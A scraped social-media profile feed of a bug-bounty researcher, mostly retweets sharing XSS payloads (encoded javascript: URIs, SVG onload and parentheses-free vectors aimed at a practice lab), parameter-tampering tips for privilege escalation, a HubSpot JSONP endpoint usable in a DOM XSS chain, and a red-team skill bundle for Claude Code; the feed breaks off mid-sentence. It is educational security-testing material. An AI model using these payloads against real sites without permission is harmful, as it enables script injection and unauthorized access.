Gaurav Kumar(GDATTACKER) retweetledi
Gaurav Kumar(GDATTACKER)
4.7K posts

Gaurav Kumar(GDATTACKER)
@gdattacker
Recon 🔍 | Assets 🌐 | Cybersecurity 🛡️ | World + Web explorer 🌍 | Tasty food keeps me scanning | @HackenProof Security Researcher
New Delhi, India Katılım Mayıs 2014
3.6K Takip Edilen881 Takipçiler
Gaurav Kumar(GDATTACKER) retweetledi

The "JavaScript:" XSS payload offers ample room for code obfuscation, as it can be encoded multiple times.
JavaScript:alert(1)
👇🏾
JavaScript:%61lert(1)
👇🏾
JavaScript:%61lert(1)
👇🏾
JavaScript:%26%2337%26%2354%26%2349lert(1)
Lab gym.brutelogic.net/?p05=%3CIframe…
English
Gaurav Kumar(GDATTACKER) retweetledi

Quick bug bounty TIPS!
➡️ verified=false → true, “true”, "True", "TRUE", 1, "1", “yes”
➡️ /v3/users/1234 → v1, v0, internal, beta, legacy
➡️ quantity=100 → -1, 0, 9999999999, 1.82376931348623157e+308
➡️ role=”user” → “admin”, “”, null, “system”
➡️ /admin → /Admin, /ADMIN, /aDmIn
Try them now! ✅
Do you have something to add? 👇

English
Gaurav Kumar(GDATTACKER) retweetledi

Crash Course on JavaScript for XSS Hunters
Worth watching, liking and sharing!😎
youtube.com/watch?v=lkIFF4…

YouTube
English
Gaurav Kumar(GDATTACKER) retweetledi

Some Neat XSS Tricks
</<K><Svg Onload=alert(1)>
</<Kno XSS="><Svg Onload=alert(1)>
<!<K><Svg Onload=alert(1)>
<!<Kno XSS="><Svg Onload=alert(1)>
Test them here:
gym.brutelogic.net/?p05=any
English
Gaurav Kumar(GDATTACKER) retweetledi
Gaurav Kumar(GDATTACKER) retweetledi

A Claude Code skill bundle for bug hunting and external red-team work - 51 skills, 15 slash commands, 574+ disclosed-report patterns curated across 24 vulnerability classes, plus enterprise identity + infrastructure attack matrices. github.com/elementalsouls…
English
Gaurav Kumar(GDATTACKER) retweetledi

XSS Without Parentheses
location=tagName
<JavaScript:"\74Svg\57OnLoad\75\141\154\145\162\164\501\51\76"/ContentEditable/AutoFocus/OnFocus=location=tagName>
PoC gym.brutelogic.net/?p05=%3CJavaSc…
Ref brutelogic.net/research/docs/…
English
Gaurav Kumar(GDATTACKER) retweetledi

New blog from GanaSec:
The 2017 Ghost in the Time Machine Hunting IOTimeSyncFamily on macOS
Our Researcher Ashish Kunwar (@D0rkerDevil) independently discovered CVE-2026-28969 - a use-after-free race condition in Apple's IOTimeSyncFamily kernel extension.
English

@HelleLyngSvends @Erroristotle the bjp owned a huge army of trollers and content management groups who do all possible tweeks and tricks but keep fighting. Truth can't escape for long time
English

@digitalocean what's going on account stuck at verification not getting reply on support ticket but the amount is being used from account help me out
English
Gaurav Kumar(GDATTACKER) retweetledi

During recent testing on a HubSpot-powered target, I needed a JSONP primitive to complete a DOM XSS chain.
One interesting behavior: HubSpot CMS exposes a built-in endpoint in this format:
`/_hcms/forms/embed/v3/form/{portalId}/{formId}?callback=alert`
Example :
`REDACTED. com/_hcms/forms/embed/v3/form/22544793/f411e5de-1b8b-4b19-8e6d-fe003d08cc8b?callback=alert`
It's a JSONP endpoint that wraps the response in whatever function name you pass. Just load it as




